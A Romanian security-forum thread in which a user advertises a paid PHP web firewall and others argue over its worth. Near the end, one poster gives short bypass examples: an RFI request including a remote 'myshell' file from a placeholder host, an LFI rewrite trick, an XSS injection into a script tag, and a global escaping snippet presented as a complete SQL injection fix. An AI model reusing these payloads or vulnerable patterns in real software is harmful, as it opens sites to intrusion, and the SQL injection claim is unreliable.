[Vand] Firewall

[FirewallMake]

Acest firewall este creat in PHP. Detine: Securitate impotriva atac-urilor SQLI, XSS , LFI , RFI etc.

Securitate impotriva: Proxy , Tor.

Status:

Total Atac-uri blocate.

Total IP-uri blocate.

Total flood-uri blocate.

Total Bad-Referer blocate.

Total Proxy-uri blocate.

Total Bad U.Agents blocate.

Total Foldere/Fisiere cautate blocate.

Imagini:

Detalii la id: shadow.white0@ymail.com

Edited March 4, 2012 by FirewallMake

[rukov]

un video demo se poate? si pretul cred ca nu e secret

[zawhitehacker]

Bla bla bla..., Barracuda Web Application Firewall - Web Application Protection Against Hackers and Vulnerabilities

Este mai bun ca asta de 10 mii de ori ( se gaseste crackuit pe aproximativ orice torrent ).

[Zack]

Bla bla bla..., Barracuda Web Application Firewall - Web Application Protection Against Hackers and Vulnerabilities

Este mai bun ca asta de 10 mii de ori ( se gaseste crackuit pe aproximativ orice torrent ).

Ce ma enerveaza ratati ca tine.Lasa naiba sa isi vanda aplicatia.Eventual puteai sa iti faci alt topic nu sa dai reply aici.

[blech]

da-ne un video te rog frumos cu el in actiune...

sper sa nu ma usture ochii de ce-o sa vad.

[alexu]

+1 Romanul trebuie , in general , sa se bage , sa-i strice treaba celuilalt . Atata rautate, invidie nu vezi la altii .

Bafta cu vanzarea !

[zawhitehacker]

Ce ma enerveaza ratati ca tine.Lasa naiba sa isi vanda aplicatia.Eventual puteai sa iti faci alt topic nu sa dai reply aici.

Pe bune? Pai de ce sa il las ma când el vrea sa intepe lumea cu un firewall care se g?se?te si gratuit

[123vlad]

....

Edited December 8, 2014 by 123vlad

[hirosima]

PHP Firewall

[alexu]

Pe bune? Pai de ce sa il las ma când el vrea sa intepe lumea cu un firewall care se g?se?te si gratuit

Nu tepuieste pe nimeni , cu nimic, atat timp cat este facut de el .

E ca si cum ai spune ca lumea care cumpara programe anti-virus , isi ia teapa pentru ca exista si variante free. E o gandire limitata .

Sau alt exemplu : daca s-ar spune ca tu ai IQ-ul unui gandac , inseamna ca lumea isi ia teapa pentru ca te lasa sa respiri , deoarece sunt oameni mai inteligenti in lumea asta ?

Respecta munca omului !

[FirewallMake]

O sa revin curand cu un video + demo pentru voi

Si pentru cei care au postat firewall-urile alea. Nu sunt nici macar 5% din firewall-ul meu.

Multumesc ca mi-ati distrus afacerea dar nu ma dau batut si o sa revin cu un demo + video curand

[bigjoee]

seller serios.

[Vlachs]

Hai sa fim seriosi!

Securitate impotriva proxy , Tor, probabil vrei sa spui ca detectezi proxy-urile si conexiunile prin tor, ar trebui sa specifici metoda cum verifici daca este proxy(verificand porturile comune, daca face forward), nu cred ca ai rata de succes peste 30% !

Protectie impotriva - SQLI, XSS , LFI , RFI etc, poti sa o faci pe baza de pattern-uri, nu cred ca ai tu toate pattern-urile pentru fiecare atac sau ca reusesti sa filtrezi corect toate valorile trimise!

DOS/DDOS nu ai cum sa blochezi, poti doar sa reduci efectele oferind continut putin si static!

Nu as recomanda cuiva sa foloseasca un firewall web facut de o persona necunoscuta, e posibil sa va futeti de tot site-urile!

[Xander]

merge sau nu... macar omu incearca sa ofere un produs facut de el in care a bagat ceva munca

am vrut si eu sa fac ceva de genul in trecut dar cred ca este prea ne realist

cat despre protectie sqli/xss/lfi/rfi cu patternuri... yeah right!

nu zic nu... merge pana apar alte metode care trec de patternurile alea

exemple:

LFI:
.htaccess: RewriteRule ^(.*)\.html$ $1.php
bad:
http://example.php/images/unshell.html

RFI:
<?php
include($_GET['folder'] . "/" . $_GET['fisier'] . ".php");

http://example.com/?folder=http://www.example2.com/&fisier=myshell

xss:
test.php:
<?php 
echo "<script>" . $_GET['c'] . "</script>" ;
?> ( am pus cod aiurea ca sa demonstrez o idee )
http://example.com/?c=omg='a' + 'l' + 'e' + 'r' + 't' + '(mda);' ( bine exemplul nu o sa mearga daca plusurile si egalul nu sunt url encoded dar asta e irelevant )

la sqli se poate face ceva ... relativ usor:
introduci in fiecare script ... la inceput
$source = array("_POST" , "_GET" , "_COOKIE");
foreach($source as $ga)
{
    $_ga = &$$ga;
    foreach($$ga as $key => $val)
    {
        $_ga[$key] = mysql_real_escape_string($val);
    }
}

singura problema reala cu codul de mai sus este ca trebuie sa te conectezi la mysql inainte de a rula codul  in rest... nu cred ca se poate face sqli daca ai codul asta